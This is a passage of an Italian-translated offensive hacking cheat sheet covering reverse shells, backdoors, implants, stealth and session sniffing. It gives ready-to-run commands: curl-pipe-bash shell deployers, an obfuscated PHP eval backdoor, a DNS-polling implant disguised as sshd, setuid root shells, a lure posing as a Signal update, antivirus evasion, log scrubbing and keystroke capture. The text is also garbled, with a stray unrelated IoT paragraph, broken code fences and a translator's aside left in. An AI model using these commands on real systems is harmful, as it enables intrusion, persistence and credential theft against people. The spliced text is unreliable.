python -c 'import pty; pty.spawn("/bin/bash")'
# Now Press Ctrl-Z to suspend the connection and return to your own terminal.

### Utilizzo

[SecBuzzer](https://hackertarget.com/secbuzzer-iot-security-framework/) è un framework di sicurezza IoT, per l'implementazione su ESP8266 in ambienti come i test di penetration testing. Le funzionalità attuali includono la scansione di punti di accesso WiFi con una semplice interfaccia Web per la scansione WiFi.

L'UI Web fornisce un'interfaccia per la scansione dei punti di accesso WiFi nelle vicinanze, nell'ambito di un penetration test di deployment. L'UI è un captive portal che consente un facile accesso una volta connessi al punto di accesso "SecBuzzer". Basta connettersi al punto di accesso WiFi "SecBuzzer" e selezionare "Scan" per avviare la scansione.

Il SecBuzzer portatile può essere spostato nell'ambiente e utilizzato per rilevare i cambiamenti nel panorama WiFi. Ciò facilita il rilevamento di nuovi punti di accesso e consente potenzialmente l'implementazione di ulteriori punti di accesso per ridurre la distanza complessiva della rete target sotto test.

Una volta completato il pen test, SecBuzzer può eseguire una scansione per fornire un elenco di reti wireless e la potenza del segnale nell'ambiente operativo. La flessibilità della```sh
# On target host
export SHELL=/bin/bash
export TERM=xterm-256color
reset -I
stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "${R:-8;80;25}"|awk -F";" '{ printf "rows "$3" cols "$2; }')
# Pimp up your prompt
# PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) \[\e[36m\]\u\[\e[m\]@\[\e[32m\]\h:\[\e[33;1m\]\w \[\e[0;31m\]\$\[\e[m\] '
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '

---
<a id="backdoor"></a>
## 6. Backdoor

Vedi [Reverse Shell / Dumb Shell](#reverse-shell) per semplici reverse shell a una riga.

<a id="gsnc"></a>
**6.i. Reverse shell usando gs-netcat**

Principalmente usiamo lo script di deploy automatico di gs-netcat: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).```sh
bash -c "$(curl -fsSLk https://gsocket.io/y)"

oppure distribuisci gsocket eseguendo il tuo server di deployment:```sh
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)"  # Notice '/ys' instead of '/y'

O il modo banale:```shell
curl -SsfL https://s3.amazonaws.com/sshx/sshx-$(uname -m)-unknown-linux-musl.tar.gz|tar xfOz - sshx 2>/dev/null >.s \
&& chmod 755 .s \
&& (PATH=.:$PATH .s -q >.u 2>/dev/null &);
for _ in {1..10}; do [ -s .u ] && break;sleep 1;done;cat .u;rm -f .u .s;

How it works:
- La chiave host SSHD è solo una normale chiave ed25519.
- Qualsiasi chiave ed25519 può essere utilizzata per autenticare un utente.
- SSHD controlla `~/.ssh/authorized_keys` (ma questo trucco è stato abusato).
- Invece, configura SSHD affinché controlli anche `/etc/ssh/sshd_host_ed25519_key.pub` per le chiavi di autenticazione di login.
- SSHD ora controllerà `~/.ssh/authorized_keys` _e_ `/etc/ssh/ssh_host_ed25519_key.pub` per chiavi di login valide.
- Usa la chiave segreta `/etc/ssh/sshd_host_ed25519_key` per accedere al target.

<a id="backdoor-network"></a>
**6.vi. Accesso remoto a un'intera rete**

Installa [gs-netcat](https://github.com/hackerschoice/gsocket). Crea un nodo di uscita SOCKS sulla LAN privata dell'Host accessibile tramite la Global Socket Relay Network senza la necessità di eseguire il proprio relay-server (ad es. accedi direttamente alla LAN privata remota dalla tua workstation):```sh
gs-netcat -l -S       # compromised Host

Leggi [Usa qualsiasi strumento tramite Socks Proxy](#scan-proxy).

Altri metodi:
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - il nostro articolo personale
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - da segfault.net a qualsiasi rete (interna).

<a id="php-backdoor"></a>
**6.v. La più piccola backdoor PHP**

Aggiungi questa riga all'inizio di qualsiasi file PHP:```php
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>

Testa la backdoor:```sh
### 1. Optional: Start a test PHP server
cd /var/www/html && php -S 127.0.0.1:8080
### Without executing a command
curl http://127.0.0.1:8080/test.php
### With executing a command
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"

Attiva con uno qualsiasi di questi per eseguire un comando o codice PHP:```shell
# Execute just command
curl http://127.0.0.1:8080/x.php -d0='id'
# Execute just PHP code
curl http://127.0.0.1:8080/x.php -d0='' -d1='echo file_get_contents("/etc/hosts");'

L'impianto richiede il payload tramite una richiesta DNS TXT dal dominio `b00m.team-teso.net`. Quando viene attivato, crea `/tmp/.b00m` e notifica THC (tramite un callback app.interactsh.com). *Per favore* usa il tuo dominio e crea anche il tuo payload. Esempio:```shell
echo -n '@system("{ id; date;}>/tmp/.b00m 2>/dev/null");' |base64 -w0

oppure sostituisci il demo-payload con un payload elaborato:
- Avvia un demone in background per interrogare ogni ora l'esecuzione di comandi.
- Dipende solo da bash, dig e base64.
- Si nasconde come `sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups`
- L'esempio usa di nuovo `b00m2.team-teso.net` e crea /tmp/.b00m ogni ora.

Copia e incolla quanto segue nella shell del target per generare l'implant di una riga:```shell
# If dig does not exists then replace /dig +short.../ with
# /nslookup -q=txt '"$D"'|grep -Fm1 "text ="|sed -E "s|.*text = (.*)|\1|g;s|[\" ]||g"|base64 -d|bash/
# or use the Perl example below.
base64 -w0 >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache${UID}
[ -f $M ]&&exit
touch $M
(echo 'slp(){ local IFS;[ -n "${_sfd:-}" ]||exec {_sfd}<> <(:);read -t$1 -u$_sfd||:;}
slp 1
while :; do
	dig +short '"$D"' TXT|tr -d \ \"|base64 -d|bash
	slp 3600
done'|exec -a "$P" bash &) &>/dev/null
EOF
echo "===> Add the following to the target's ~/.bashrc or cronjob:"$'\n\033[0;36m'"echo $(<x.txt)|base64 -d|bash"$'\033[0m'
rm -f x.txt

...in PERL:
---
Lo stesso ma che richiede solo perl + bash (non dig):```shell
perl -MMIME::Base64 -e '$/=undef;print encode_base64(<>,"")' >x.txt <<-'EOF'
D=b00m2.team-teso.net
P="sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
M=/dev/shm/.cache-1-${UID}
(echo 'use Net::DNS;use MIME::Base64;exit(0) if -e "'"$M"'";close(open($f,">","'"$M"'"));for (;;) { system decode_base64((Net::DNS::Resolver->new->query(q/'"$D"'/,q/TXT/)->answer)[0]->txtdata=~y/ \\//dr);sleep(3600)}'|exec -a "$P" perl &) &>/dev/null
EOF
echo "===> Execute the following on the target:"$'\n\033[0;36m'"perl -MMIME::Base64 -e'print decode_base64(\"$(<x.txt)\")'|bash"$'\033[0m'
rm -f x.txt

Genera il tuo payload (`egg.py` verrà eseguito sul target):```shell
cat >egg.py<<-'EOF'
import time
dns.resolver.resolve(f"{int(time.time())}.yzlespkpfkqfrtwgvhngkyqbuod49rgmo.oast.fun")
EOF

<a id="ld-backdoor"></a>
**6.vii. Backdoor locale di root**

#### 1. Backdoor del caricatore dinamico con setcap```bash
### Execute as ROOT user
fn="$(readlink -f /lib64/ld-*.so.*)" || fn="$(readlink -f /lib/ld-*.so.*)" || fn="/lib/ld-linux.so.2"
setcap cap_setuid,cap_setgid+ep "${fn}"

#### 2. La buona vecchia shell b00m```shell
{ cp /bin/sh /var/tmp/.b00m; chmod 6775 /var/tmp/.b00m; } 2>/dev/null >/dev/null

<a id="implant"></a>
**6.viii. Impianto auto-estraente**

Crea uno script shell auto-estraente usando [mkegg.sh](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/mkegg.sh) (vedi il sorgente per esempi).

Esempio semplice:```sh
# Create implant 'egg.sh' containing the file 'foo'
# and the directory 'warez'. When executing 'egg.sh' then
# extract 'foo' and 'warez' and call 'warez/run/sh'
./mkegg.sh egg.sh foo warez warez/run.sh

2. Rinomina `egg.sh` in `update-for-fools.txt` e caricalo come blob nel repository GitHub di [Signal](https://www.signal.org/).

3. Non prendere in giro le persone per aggiornare Signal usando questo comando ❤️:```sh
curl -fL https://github.com/signalapp/Signal-Desktop/files/15037868/update-for-fools.txt | bash

o```sh
bash -c "$(curl -fsSL https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/raw/master/tools/whatserver.sh)"

Controlla rapidamente il sistema```sh
curl -fsSL https://bench.sh | bash
# Another speed check:  
# curl -fsSL https://yabs.sh | bash

Trova tutte le directory scrivibili:```bash
wfind() {
    local arr dir

    arr=("$@")
    while [[ ${#arr[@]} -gt 0 ]]; do
        dir=${arr[${#arr[@]}-1]}
        unset "arr[${#arr[@]}-1]"
        find "$dir"  -maxdepth 1 -type d -writable -ls 2>/dev/null
        IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
    done
}
# Usage: wfind /
# Usage: wfind /etc /var /usr 

- Usa [PassDetective](https://github.com/aydinnyunus/PassDetective) per trovare le password in ~/.*history
- Usa [Chrome-ABE](https://github.com/xaitax/Chrome-App-Bound-Encryption-Decryption) per estrarre e decrittare le password di Chrome dal processo in esecuzione (solo Windows)
- Estrai le password dai browser utilizzando [https://github.com/kiryano/chrome-password-decryptor](https://github.com/kiryano/chrome-password-decryptor)

Usando `grep`:```sh
# Find passwords (without garbage).
grep -HEronasi  '.{,16}password.{,64}' .
# Find TLS or OpenSSH keys:
grep -r -F -- " PRIVATE KEY-----" .

---
<a id="shell-hacks"></a>
## 8. Trucchi per la Shell
<a id="shred"></a>
**8.i. Shred e cancella un file**```sh
shred -z foobar.txt

Nota: Oppure metti i tuoi file nella directory */dev/shm* in modo che nessun dato venga scritto sul disco rigido. I dati verranno eliminati al riavvio.

Nota: Oppure elimina il file e poi riempi l'intero disco rigido con /dev/urandom e poi esegui rm -rf sul file di dump.

<a id="restore-timestamp"></a>
**8.ii. Ripristina la data di un file**

Supponiamo che tu abbia modificato */etc/passwd* ma la data del file ora mostri che */etc/passwd* è stato modificato. Usa *touch* per cambiare la data del file con quella di un altro file (in questo esempio, */etc/shadow*)```sh
touch -r /etc/shadow /etc/passwd
# verify with 'stat /etc/passwd'

Questo rimuoverà qualsiasi riga contenente l'IP `1.2.3.4` dal file di log:```sh
xlog() { local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"; }

<a id="shell-hide-files"></a>
**8.iv. Nascondere file a quell'utente senza privilegi di root**

La nostra directory di lavoro preferita è */dev/shm/*. Questa posizione è memoria volatile e andrà persa al riavvio. NO LOGZ == NO CRIME.

Metodo 1:```sh
alias ls='ls -I system-dev'

Metodo 3:
Unix consente nomi di file con quasi qualsiasi carattere ASCII tranne 0x00. Prova il tab (*\t*). Accade che la maggior parte degli amministratori non sappia come fare cd in una directory del genere.```sh
mkdir $'\t'
cd $'\t'

<a id="nosudo"></a>
**8.vi. Cambiare utente senza sudo/su**

Necessario per acquisire screenshot di sessioni X11 (noto anche come `xwd -display :0 -silent -root | convert - jpg:screenshot.jpg` o `import -display :0 -window root screenshot.png`)```bash
xsu() {
    local name="${1:?}"
    local u g h
    local cmd="python"

    command -v python3 >/dev/null && cmd="python3"
    [ $UID -ne 0 ] && { HS_ERR "Need root"; return; }
    u=$(id -u ${name:?}) || return
    g=$(id -g ${name:?}) || return
    h="$(grep "^${name}:" /etc/passwd | cut -d: -f6)" || return
    HOME="${h:-/tmp}" "$cmd" -c "import os;os.setgid(${g:?});os.setuid(${u:?});os.execlp('bash', 'bash')"
}
# xsu user

Pulisci l'[header UPX](https://github.com/upx/upx/blob/devel/src/stub/src/include/header.S) e il secondo header ELF per ingannare l'antivirus:```shell
perl -i -0777 -pe 's/^(.{64})(.{0,256})UPX!.{4}/$1$2\0\0\0\0\0\0\0\0/s' "${BIN}"
perl -i -0777 -pe 's/^(.{64})(.{0,256})\x7fELF/$1$2\0\0\0\0/s' "${BIN}"

Verifica che il binario non possa essere decompresso:```shell
upx -d "${BIN}"  # Should fail with 'not packed by UPX'

La variante più breve possibile è (esempio):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

Il backdoor può anche essere inviato via pipe tramite SSH direttamente nella memoria del remoto, ed eseguito:```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

---
<a id="crypto"></a>
## 9. Crypto
<a id="gen-password"></a>
**9.i. Genera una password casuale rapida**

Buono per password rapide senza intervento umano.```sh
openssl rand -base64 24

o rendilo alfanumerico```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

Monta:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

<a id="encfs"></a>
**9.ii.b. File system crittografati trasportabili Linux - EncFS**

Crea ```.sec``` e archivia i dati crittografati in ```.raw```:```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

<a id="encrypting-file"></a>
**9.iii Crittografia di un file**

Crittografa i tuoi 0-Days e i file di log prima di trasferirli - per favore. (e scegli la tua password):```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

---
<a id="sniffing"></a>
## 10. Sniffing e hijacking di sessione
<a id="session-sniffing"></a>
**10.i Intercetta la sessione SHELL di un utente**

Una riga per `~/.bashrc` per intercettare le sequenze di tasti dell'utente e salvarle in `~/.config/.pty/.@*`. Utile quando non si è root e si ha bisogno di catturare le credenziali sudo/ssh/git dell'utente.

Distribuzione: taglia e incolla quanto segue sul target e segui le istruzioni:```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

Avvia un dtrace e registra su /tmp/.log:```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Sniff a user's SSH, bash or SSHD session with strace**

---

Wait, I need to provide the translation, not repeat the English. Let me provide the Italian translation:

Dai un'occhiata ai nostri [strumenti eBPF per intercettare le password sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Intercetta la sessione SSH, bash o SSHD di un utente con strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Sniff 7770 (esempio):```shell
tit write 7770